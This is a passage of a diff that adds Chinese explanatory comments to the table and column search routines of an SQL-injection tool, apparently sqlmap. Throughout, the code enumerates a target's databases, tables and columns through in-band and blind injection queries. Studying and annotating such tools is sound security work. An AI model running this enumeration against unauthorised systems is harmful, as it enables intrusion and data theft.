unArrayizeValue(inject.getValue(query, union=False, error=False)) # 执行盲注,获取数据库名称 + value = safeSQLIdentificatorNaming(value) # 对查询结果进行安全命名 + foundDbs.append(value) # 将结果添加到找到的数据库列表中 - conf.dumper.lister("found databases", foundDbs) + conf.dumper.lister("found databases", foundDbs) # 打印找到的数据库列表 def searchTable(self): - bruteForce = False + """ + Searches for table names based on user input. + 根据用户输入搜索表名称。 + """ + bruteForce = False # 初始化是否进行爆破 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" - bruteForce = True + bruteForce = True # 如果是MySQL且没有information_schema,则设置为进行爆破 - if bruteForce: - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") - choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + if bruteForce: # 如果需要爆破 + message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") # 提示用户是否使用常用表名检查 + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() # 读取用户输入 - if choice == 'N': + if choice == 'N': # 如果用户选择不使用常用表名检查 return - elif choice == 'Q': + elif choice == 'Q': # 如果用户选择退出 raise SqlmapUserQuitException else: - regex = '|'.join(conf.tbl.split(',')) - return tableExists(paths.COMMON_TABLES, regex) + regex = '|'.join(conf.tbl.split(',')) # 构建用于匹配的正则表达式 + return tableExists(paths.COMMON_TABLES, regex) # 使用爆破方式检测表是否存在 - foundTbls = {} - tblList = conf.tbl.split(',') - rootQuery = queries[Backend.getIdentifiedDbms()].search_table - tblCond = rootQuery.inband.condition - dbCond = rootQuery.inband.condition2 - tblConsider, tblCondParam = self.likeOrExact("table") + foundTbls = {} # 初始化找到的表列表 + tblList = conf.tbl.split(',') # 获取用户输入的表列表,用逗号分割 + rootQuery = queries[Backend.getIdentifiedDbms()].search_table # 获取当前数据库的搜索表查询 + tblCond = rootQuery.inband.condition # 获取表查询条件 + dbCond = rootQuery.inband.condition2 # 获取数据库查询条件 + tblConsider, tblCondParam = self.likeOrExact("table") # 获取表搜索条件 - for tbl in tblList: - values = [] - tbl = safeSQLIdentificatorNaming(tbl, True) + for tbl in tblList: # 遍历表列表 + values = [] # 初始化查询结果列表 + tbl = safeSQLIdentificatorNaming(tbl, True) # 对表名进行安全命名 if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - tbl = tbl.upper() - conf.db = conf.db.upper() if conf.db else conf.db + tbl = tbl.upper() # 如果是需要大写的数据库,则转换为大写 + conf.db = conf.db.upper() if conf.db else conf.db # 如果用户指定了数据库,则转换为大写 infoMsg = "searching table" if tblConsider == '1': - infoMsg += "s LIKE" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) + infoMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) # 添加不安全的表名 if conf.db == CURRENT_DB: - conf.db = self.getCurrentDb() + conf.db = self.getCurrentDb() # 如果用户指定当前数据库,则获取当前数据库名 if dbCond and conf.db: - _ = conf.db.split(',') - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) - msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(msg) + _ = conf.db.split(',') # 获取用户指定的数据库列表,用逗号分割 + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" # 构建数据库查询条件 + infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) # 添加数据库信息到日志信息中 + elif conf.excludeSysDbs: # 如果排除系统数据库 + whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) # 构建排除系统数据库的SQL语句 + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) # 构建跳过系统数据库的日志信息 + logger.info(msg) # 打印日志信息 else: - whereDbsQuery = "" - + whereDbsQuery = "" # 如果不排除系统数据库,则SQL语句为空 + if dbCond and conf.exclude: - whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) # 添加排除条件 - logger.info(infoMsg) + logger.info(infoMsg) # 打印日志信息 - tblQuery = "%s%s" % (tblCond, tblCondParam) - tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) + tblQuery = "%s%s" % (tblCond, tblCondParam) # 构建表查询条件 + tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) # 将表名添加到表查询条件中 + # 如果支持UNION,ERROR或者QUERY注入,则使用带内注入 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - query = rootQuery.inband.query - - query = query % (tblQuery + whereDbsQuery) - values = inject.getValue(query, blind=False, time=False) + query = rootQuery.inband.query # 获取带内查询语句 + query = query % (tblQuery + whereDbsQuery) # 将查询条件添加到SQL语句中 + values = inject.getValue(query, blind=False, time=False) # 执行SQL查询 + # 如果是SQLite或Firebird数据库,则需要特殊处理 if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - newValues = [] - - if isinstance(values, six.string_types): - values = [values] - for value in values: - dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" - newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) - - values = newValues - - for foundDb, foundTbl in filterPairValues(values): - foundDb = safeSQLIdentificatorNaming(foundDb) - foundTbl = safeSQLIdentificatorNaming(foundTbl, True) - + newValues = [] # 初始化新的查询结果列表 + + if isinstance(values, six.string_types): # 如果查询结果是字符串 + values = [values] # 转换为列表 + for value in values: # 遍历查询结果 + dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" # 获取数据库名称 + newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) # 添加数据库名称和表名到查询结果列表 + + values = newValues # 更新查询结果 + + for foundDb, foundTbl in filterPairValues(values): # 遍历查询结果 + foundDb = safeSQLIdentificatorNaming(foundDb) # 对数据库名称进行安全命名 + foundTbl = safeSQLIdentificatorNaming(foundTbl, True) # 对表名进行安全命名 + if foundDb is None or foundTbl is None: continue - if foundDb in foundTbls: - foundTbls[foundDb].append(foundTbl) + if foundDb in foundTbls: # 如果数据库已经存在于结果列表中 + foundTbls[foundDb].append(foundTbl) # 则添加表名到该数据库的表列表中 else: - foundTbls[foundDb] = [foundTbl] + foundTbls[foundDb] = [foundTbl] # 否则新建数据库,并添加表名 + # 如果带内注入失败,则尝试使用盲注 if not values and isInferenceAvailable() and not conf.direct: + # 如果不是SQLite或Firebird数据库 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): if len(whereDbsQuery) == 0: infoMsg = "fetching number of databases with table" if tblConsider == "1": - infoMsg += "s LIKE" + infoMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - logger.info(infoMsg) + logger.info(infoMsg) # 打印日志信息 - query = rootQuery.blind.count - query = query % (tblQuery + whereDbsQuery) - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + query = rootQuery.blind.count # 获取盲注计数查询 + query = query % (tblQuery + whereDbsQuery) # 将查询条件添加到SQL语句中 + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 执行盲注获取表数量 - if not isNumPosStrValue(count): + if not isNumPosStrValue(count): # 如果表数量不是正整数 warnMsg = "no databases have table" if tblConsider == "1": - warnMsg += "s LIKE" + warnMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) - logger.warning(warnMsg) + logger.warning(warnMsg) # 打印日志信息 - continue + continue # 跳过当前表 - indexRange = getLimitRange(count) + indexRange = getLimitRange(count) # 获取索引范围 for index in indexRange: - query = rootQuery.blind.query - query = query % (tblQuery + whereDbsQuery) - query = agent.limitQuery(index, query) - - foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) - foundDb = safeSQLIdentificatorNaming(foundDb) + query = rootQuery.blind.query # 获取盲注查询语句 + query = query % (tblQuery + whereDbsQuery) # 将查询条件添加到SQL语句中 + query = agent.limitQuery(index, query) # 添加限制条件 + foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) # 执行盲注,获取数据库名称 + foundDb = safeSQLIdentificatorNaming(foundDb) # 对数据库名称进行安全命名 + if foundDb not in foundTbls: - foundTbls[foundDb] = [] + foundTbls[foundDb] = [] # 如果数据库不存在于结果列表中,则新建 if tblConsider == "2": - foundTbls[foundDb].append(tbl) + foundTbls[foundDb].append(tbl) # 如果是精确匹配,则直接添加表名 if tblConsider == "2": - continue - else: - for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): - db = safeSQLIdentificatorNaming(db) + continue # 跳过当前表 + + else: # 如果指定了数据库 + for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): # 遍历数据库列表 + db = safeSQLIdentificatorNaming(db) # 对数据库名称进行安全命名 if db not in foundTbls: - foundTbls[db] = [] - else: - dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" - foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] + foundTbls[db] = [] # 如果数据库不存在于结果列表中,则新建 + else: # 如果是SQLite或Firebird数据库 + dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" # 获取数据库名称 + foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] # 添加数据库名称到结果列表中 - for db in foundTbls: - db = safeSQLIdentificatorNaming(db) + for db in foundTbls: # 遍历数据库列表 + db = safeSQLIdentificatorNaming(db) # 对数据库名称进行安全命名 infoMsg = "fetching number of table" if tblConsider == "1": - infoMsg += "s LIKE" - infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) - logger.info(infoMsg) + infoMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE + infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) # 添加表名和数据库名到日志信息 + logger.info(infoMsg) # 打印日志信息 - query = rootQuery.blind.count2 + query = rootQuery.blind.count2 # 获取盲注计数查询 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): - query = query % unsafeSQLIdentificatorNaming(db) - query += " AND %s" % tblQuery - - count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - - if not isNumPosStrValue(count): + query = query % unsafeSQLIdentificatorNaming(db) # 将数据库名称添加到SQL语句中 + query += " AND %s" % tblQuery # 将表查询条件添加到SQL语句中 + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 执行盲注获取表数量 + + if not isNumPosStrValue(count): # 如果表数量不是正整数 warnMsg = "no table" if tblConsider == "1": - warnMsg += "s LIKE" + warnMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warning(warnMsg) + logger.warning(warnMsg) # 打印日志信息 - continue - - indexRange = getLimitRange(count) - - for index in indexRange: - query = rootQuery.blind.query2 + continue # 跳过当前数据库 + indexRange = getLimitRange(count) # 获取索引范围 + + for index in indexRange: # 遍历索引范围 + query = rootQuery.blind.query2 # 获取盲注查询语句 + if " ORDER BY " in query: - query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery)) + query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery)) # 如果查询语句包含 ORDER BY,则添加 AND 条件 elif query.endswith("'%s')"): - query = query[:-1] + " AND %s)" % tblQuery + query = query[:-1] + " AND %s)" % tblQuery # 如果查询语句以 ')' 结尾,则添加 AND 条件 else: - query += " AND %s" % tblQuery + query += " AND %s" % tblQuery # 否则直接添加 AND 条件 if Backend.isDbms(DBMS.FIREBIRD): - query = safeStringFormat(query, index) + query = safeStringFormat(query, index) # 如果是Firebird数据库,则格式化查询语句 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): - query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) - + query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) # 如果不是SQLite或Firebird数据库,则格式化查询语句 + if not Backend.isDbms(DBMS.FIREBIRD): - query = agent.limitQuery(index, query) + query = agent.limitQuery(index, query) # 如果不是Firebird数据库,则添加限制条件 - foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) + foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) # 执行盲注,获取表名 if not isNoneValue(foundTbl): kb.hintValue = foundTbl - foundTbl = safeSQLIdentificatorNaming(foundTbl, True) - foundTbls[db].append(foundTbl) + foundTbl = safeSQLIdentificatorNaming(foundTbl, True) # 对表名进行安全命名 + foundTbls[db].append(foundTbl) # 将表名添加到结果列表中 - for db in list(foundTbls.keys()): - if isNoneValue(foundTbls[db]): - del foundTbls[db] + for db in list(foundTbls.keys()): # 遍历数据库列表 + if isNoneValue(foundTbls[db]): # 如果某个数据库的表列表为空 + del foundTbls[db] # 则删除该数据库 - if not foundTbls: + if not foundTbls: # 如果没有找到表 warnMsg = "no databases contain any of the provided tables" - logger.warning(warnMsg) - return + logger.warning(warnMsg) # 打印日志信息 + return # 返回 - conf.dumper.dbTables(foundTbls) - self.dumpFoundTables(foundTbls) + conf.dumper.dbTables(foundTbls) # 打印找到的表列表 + self.dumpFoundTables(foundTbls) # 导出找到的表 def searchColumn(self): - bruteForce = False + """ + Searches for column names based on user input. + 根据用户输入搜索列名称。 + """ + bruteForce = False # 初始化是否进行爆破 - self.forceDbmsEnum() + self.forceDbmsEnum() # 强制枚举数据库 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" - bruteForce = True + bruteForce = True # 如果是MySQL且没有information_schema,则设置为进行爆破 if bruteForce: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") @@ -374,267 +393,350 @@ class Search(object): return - rootQuery = queries[Backend.getIdentifiedDbms()].search_column - foundCols = {} - dbs = {} - whereDbsQuery = "" - whereTblsQuery = "" - infoMsgTbl = "" - infoMsgDb = "" - colList = conf.col.split(',') + rootQuery = queries[Backend.getIdentifiedDbms()].search_column # 获取当前数据库的搜索列查询 + foundCols = {} # 初始化找到的列列表 + dbs = {} # 初始化数据库列表 + whereDbsQuery = "" # 初始化数据库查询条件 + whereTblsQuery = "" # 初始化表查询条件 + infoMsgTbl = "" # 初始化表日志信息 + infoMsgDb = "" # 初始化数据库日志信息 + colList = conf.col.split(',') # 获取用户输入的列列表,用逗号分割 if conf.exclude: - colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] # 如果存在排除条件,则过滤列列表 origTbl = conf.tbl origDb = conf.db - colCond = rootQuery.inband.condition - dbCond = rootQuery.inband.condition2 - tblCond = rootQuery.inband.condition3 - colConsider, colCondParam = self.likeOrExact("column") + colCond = rootQuery.inband.condition # 获取列查询条件 + dbCond = rootQuery.inband.condition2 # 获取数据库查询条件 + tblCond = rootQuery.inband.condition3 # 获取表查询条件 + colConsider, colCondParam = self.likeOrExact("column") # 获取列搜索条件 - for column in colList: - values = [] - column = safeSQLIdentificatorNaming(column) - conf.db = origDb - conf.tbl = origTbl + for column in colList: # 遍历列列表 + values = [] # 初始化查询结果列表 + column = safeSQLIdentificatorNaming(column) # 对列名进行安全命名 + conf.db = origDb # 重置数据库名称 + conf.tbl = origTbl # 重置表名 if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: - column = column.upper() - conf.db = conf.db.upper() if conf.db else conf.db - conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl + column = column.upper() # 如果是需要大写的数据库,则转换为大写 + conf.db = conf.db.upper() if conf.db else conf.db # 如果用户指定了数据库,则转换为大写 + conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl # 如果用户指定了表,则转换为大写 infoMsg = "searching column" if colConsider == "1": - infoMsg += "s LIKE" - infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) + infoMsg += "s LIKE" # 如果是LIKE匹配,则添加LIKE + infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) # 添加不安全的列名 - foundCols[column] = {} + foundCols[column] = {} # 初始化列结果列表 - if tblCond: - if conf.tbl: - tbls = conf.tbl.split(',') + if tblCond: # 如果指定了表条件 + if conf.tbl: # 如果指定了表 + tbls = conf.tbl.split(',') # 获取表列表,用逗号分割 if conf.exclude: - tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] - whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" - infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) + tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] # 如果存在排除条件,则过滤表列表 + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" # 构建表查询条件 + infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) # 添加表信息到日志信息 if conf.db == CURRENT_DB: - conf.db = self.getCurrentDb() - - if dbCond: - if conf.db: - _ = conf.db.split(',') - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) - msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) - logger.info(msg) + conf.db = self.getCurrentDb() # 如果用户指定当前数据库,则获取当前数据库名 + + if dbCond: # 如果指定了数据库条件 + if conf.db: # 如果指定了数据库 + _ = conf.db.split(',') # 获取数据库列表,用逗号分割 + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" # 构建数据库查询条件 + infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) # 添加数据库信息到日志信息 + elif conf.excludeSysDbs: # 如果排除系统数据库 + whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) # 构建排除系统数据库的SQL语句 + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) # 构建跳过系统数据库的日志信息 + logger.info(msg) # 打印日志信息 else: - infoMsgDb = " across all databases" + infoMsgDb = " across all databases" # 如果不指定数据库,则表示在所有数据库中查找 if conf.exclude: - whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) # 添加排除条件 - logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) + logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) # 打印日志信息 - colQuery = "%s%s" % (colCond, colCondParam) - colQuery = colQuery % unsafeSQLIdentificatorNaming(column) + colQuery = "%s%s" % (colCond, colCondParam) # 构建列查询条件 + colQuery = colQuery % unsafeSQLIdentificatorNaming(column) # 将列名添加到查询条件中 + # 如果支持UNION,ERROR或者QUERY注入,则使用带内注入 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if not all((conf.db, conf.tbl)): # Enumerate tables containing the column provided if # either of database(s) or table(s) is not provided - query = rootQuery.inband.query - query = query % (colQuery + whereDbsQuery + whereTblsQuery) - values = inject.getValue(query, blind=False, time=False) + query = rootQuery.inband.query # 获取带内查询语句 + query = query % (colQuery + whereDbsQuery + whereTblsQuery) # 将查询条件添加到SQL语句中 + values = inject.getValue(query, blind=False, time=False) # 执行SQL查询 else: # Assume provided databases' tables contain the # column(s) provided - values = [] + values = [] # 如果指定了数据库和表,则直接使用它们 - for db in conf.db.split(','): - for tbl in conf.tbl.split(','): - values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) + for db in conf.db.split(','): # 遍历数据库列表 + for tbl in conf.tbl.split(','): # 遍历表列表 + values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) # 将数据库和表添加到查询结果中 - for db, tbl in filterPairValues(values): - db = safeSQLIdentificatorNaming(db) - tbls = tbl.split(',') if not isNoneValue(tbl) else [] + for db, tbl in filterPairValues(values): # 遍历查询结果 + db = safeSQLIdentificatorNaming(db) # 对数据库名称进行安全命名 + tbls = tbl.split(',') if not isNoneValue(tbl) else [] # 如果表名不为空,则按逗号分割 - for tbl in tbls: - tbl = safeSQLIdentificatorNaming(tbl, True) + for tbl in tbls: # 遍历表列表 + tbl = safeSQLIdentificatorNaming(tbl, True) # 对表名进行安全命名 if db is None or tbl is None: continue + + conf.db = db # 设置数据库名称 + conf.tbl = tbl # 设置表名 + conf.col = column # 设置列名 - conf.db = db - conf.tbl = tbl - conf.col = column - - self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) # 获取列名,不进行爆破 - if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: + if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: # 如果列信息已经缓存 if db not in dbs: - dbs[db] = {} + dbs[db] = {} # 如果数据库不在dbs中,则添加 if tbl not in dbs[db]: - dbs[db][tbl] = {} + dbs[db][tbl] = {} # 如果表不在dbs中,则添加 - dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) + dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) # 更新缓存的列信息 if db in foundCols[column]: - foundCols[column][db].append(tbl) + foundCols[column][db].append(tbl) # 如果数据库已经在foundCols中,则添加表 else: - foundCols[column][db] = [tbl] - - kb.data.cachedColumns = {} + foundCols[column][db] = [tbl] # 否则新建数据库,并添加表 + kb.data.cachedColumns = {} # 清空缓存的列信息 + + # 如果带内注入失败,则尝试使用盲注 if not values and isInferenceAvailable() and not conf.direct: + # 如果之前的带内注入尝试失败,并且当前可以使用盲注技术,并且没有使用直接连接模式,则执行此代码块。 if not conf.db: + # 如果用户没有指定要搜索的数据库(没有使用 -D 参数) infoMsg = "fetching number of databases with tables containing column" + # 准备日志消息,表示正在获取包含指定列的表所在的数据库数量 if colConsider == "1": + # 如果列名使用 LIKE 条件匹配 infoMsg += "s LIKE" + # 将 "s LIKE" 添加到日志消息中 infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) + # 将不安全的列名添加到日志消息中 logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) + # 打印带有表和数据库信息的日志消息 query = rootQuery.blind.count + # 获取当前数据库的盲注计数查询语句(用于获取匹配的数据库数量) query = query % (colQuery + whereDbsQuery + whereTblsQuery) + # 将列的查询条件、数据库的过滤条件和表的过滤条件添加到查询语句中 count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # 执行盲注查询,获取匹配的数据库数量,并将结果视为整数类型 if not isNumPosStrValue(count): + # 如果返回的数据库数量不是有效的正整数 warnMsg = "no databases have tables containing column" + # 准备警告消息,表示没有找到包含指定列的表 if colConsider == "1": + # 如果列名使用 LIKE 条件匹配 warnMsg += "s LIKE" + # 将 "s LIKE" 添加到警告消息中 warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) + # 将不安全的列名添加到警告消息中 logger.warning("%s%s" % (warnMsg, infoMsgTbl)) + # 打印带有表信息的警告消息 continue + # 跳过当前列,继续处理下一个列 indexRange = getLimitRange(count) + # 获取从 1 到数据库数量的索引范围,用于循环遍历数据库 for index in indexRange: + # 遍历每个可能的数据库索引 query = rootQuery.blind.query + # 获取用于盲注提取数据库名称的查询语句 query = query % (colQuery + whereDbsQuery + whereTblsQuery) + # 将列的查询条件、数据库的过滤条件和表的过滤条件添加到查询语句中 query = agent.limitQuery(index, query) + # 将当前索引作为 LIMIT 条件添加到查询语句中,用于分页获取数据库名 db = unArrayizeValue(inject.getValue(query, union=False, error=False)) + # 执行盲注查询,获取数据库名称,并将其从数组中提取出来 db = safeSQLIdentificatorNaming(db) + # 对提取到的数据库名称进行安全命名 if db not in dbs: + # 如果数据库名称不在 dbs 字典中 dbs[db] = {} + # 在 dbs 字典中创建一个新的键值对,其中键为数据库名称,值为一个空字典 if db not in foundCols[column]: + # 如果数据库名称不在 foundCols[column] 字典中 foundCols[column][db] = [] + # 在 foundCols[column] 字典中创建一个新的键值对,其中键为数据库名称,值为一个空列表 else: + # 如果用户指定了要搜索的数据库(使用了 -D 参数) for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): + # 遍历用户指定的所有数据库,如果没有指定数据库,则使用当前数据库 db = safeSQLIdentificatorNaming(db) + # 对数据库名称进行安全命名 if db not in foundCols[column]: + # 如果数据库名称不在 foundCols[column] 字典中 foundCols[column][db] = [] + # 在 foundCols[column] 字典中创建一个新的键值对,其中键为数据库名称,值为一个空列表 origDb = conf.db + # 将原始的数据库名称存储在 origDb 变量中 origTbl = conf.tbl + # 将原始的表名称存储在 origTbl 变量中 for column, dbData in foundCols.items(): + # 遍历 foundCols 字典中的所有列及其对应的数据库数据 colQuery = "%s%s" % (colCond, colCondParam) + # 构建列的查询条件字符串 colQuery = colQuery % unsafeSQLIdentificatorNaming(column) + # 将不安全的列名添加到列的查询条件字符串中 for db in dbData: + # 遍历当前列对应的所有数据库 conf.db = origDb + # 将数据库名称重置为原始值 conf.tbl = origTbl + # 将表名称重置为原始值 infoMsg = "fetching number of tables containing column" + # 准备日志消息,表示正在获取包含指定列的表的数量 if colConsider == "1": + # 如果列名使用 LIKE 条件匹配 infoMsg += "s LIKE" + # 将 "s LIKE" 添加到日志消息中 infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) + # 将不安全的列名和数据库名称添加到日志消息中 logger.info(infoMsg) + # 打印日志消息 query = rootQuery.blind.count2 + # 获取用于盲注提取表数量的查询语句 if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + # 如果数据库名称不是以元数据后缀结尾 query = query % unsafeSQLIdentificatorNaming(db) + # 将不安全的数据库名称添加到查询语句中 query += " AND %s" % colQuery + # 将列的查询条件添加到查询语句中 else: + # 如果数据库名称以元数据后缀结尾 query = query % colQuery + # 将列的查询条件添加到查询语句中 query += whereTblsQuery + # 将表的过滤条件添加到查询语句中 count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # 执行盲注查询,获取匹配的表数量,并将结果视为整数类型 if not isNumPosStrValue(count): + # 如果返回的表数量不是有效的正整数 warnMsg = "no tables contain column" + # 准备警告消息,表示没有找到包含指定列的表 if colConsider == "1": + # 如果列名使用 LIKE 条件匹配 warnMsg += "s LIKE" + # 将 "s LIKE" 添加到警告消息中 warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) + # 将不安全的列名添加到警告消息中 warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) + # 将不安全的数据库名称添加到警告消息中 logger.warning(warnMsg) + # 打印警告消息 continue + # 跳过当前数据库,继续处理下一个数据库 indexRange = getLimitRange(count) + # 获取从 1 到表数量的索引范围,用于循环遍历表 for index in indexRange: + # 遍历每个可能的表索引 query = rootQuery.blind.query2 + # 获取用于盲注提取表名称的查询语句 if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + # 如果数据库名称以元数据后缀结尾 query = query % (colQuery + 